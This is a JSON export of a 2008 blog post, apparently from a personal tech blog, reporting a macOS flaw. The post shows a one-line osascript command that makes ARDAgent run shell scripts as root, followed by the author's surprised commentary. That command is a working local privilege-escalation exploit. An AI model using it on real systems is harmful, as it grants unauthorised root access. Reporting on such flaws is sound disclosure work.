{"id":1001255,"date":"2008-06-18T20:39:41","date_gmt":"2008-06-19T01:39:41","guid":{"rendered":"http:\/\/www.elharo.com\/blog\/?p=1001255"},"modified":"2008-06-18T20:39:41","modified_gmt":"2008-06-19T01:39:41","slug":"apple-gets-pwned","status":"publish","type":"post","link":"https:\/\/www.elharo.com\/blog\/mac\/2008\/06\/18\/apple-gets-pwned\/","title":{"rendered":"Apple gets Pwned"},"content":{"rendered":"<pre>$ osascript -e 'tell app \"ARDAgent\" to do shell script \"whoami\"'\r\nroot\r\n<\/pre>\n<p>Wow. A one line script that allows any logged in user to grab root, not even a buffer overflow or third party software involved. This is movie plot hacking at its finest. I haven&#8217;t seen an attack this bad in years.<\/p>\n<p>The only thing I would imagine that could be worse would be if you could execute this attack remotely.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>$ osascript -e &#8216;tell app &#8220;ARDAgent&#8221; to do shell script &#8220;whoami&#8221;&#8216; root Wow. A one line script that allows any logged in user to grab root, not even a buffer overflow or third party software involved. This is movie plot hacking at its finest. I haven&#8217;t seen an attack this bad in years. The only [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[14],"tags":[],"class_list":["post-1001255","post","type-post","status-publish","format-standard","hentry","category-mac"],"_links":{"self":[{"href":"https:\/\/www.elharo.com\/blog\/wp-json\/wp\/v2\/posts\/1001255","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.elharo.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.elharo.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.elharo.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.elharo.com\/blog\/wp-json\/wp\/v2\/comments?post=1001255"}],"version-history":[{"count":0,"href":"https:\/\/www.elharo.com\/blog\/wp-json\/wp\/v2\/posts\/1001255\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.elharo.com\/blog\/wp-json\/wp\/v2\/media?parent=1001255"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.elharo.com\/blog\/wp-json\/wp\/v2\/categories?post=1001255"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.elharo.com\/blog\/wp-json\/wp\/v2\/tags?post=1001255"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}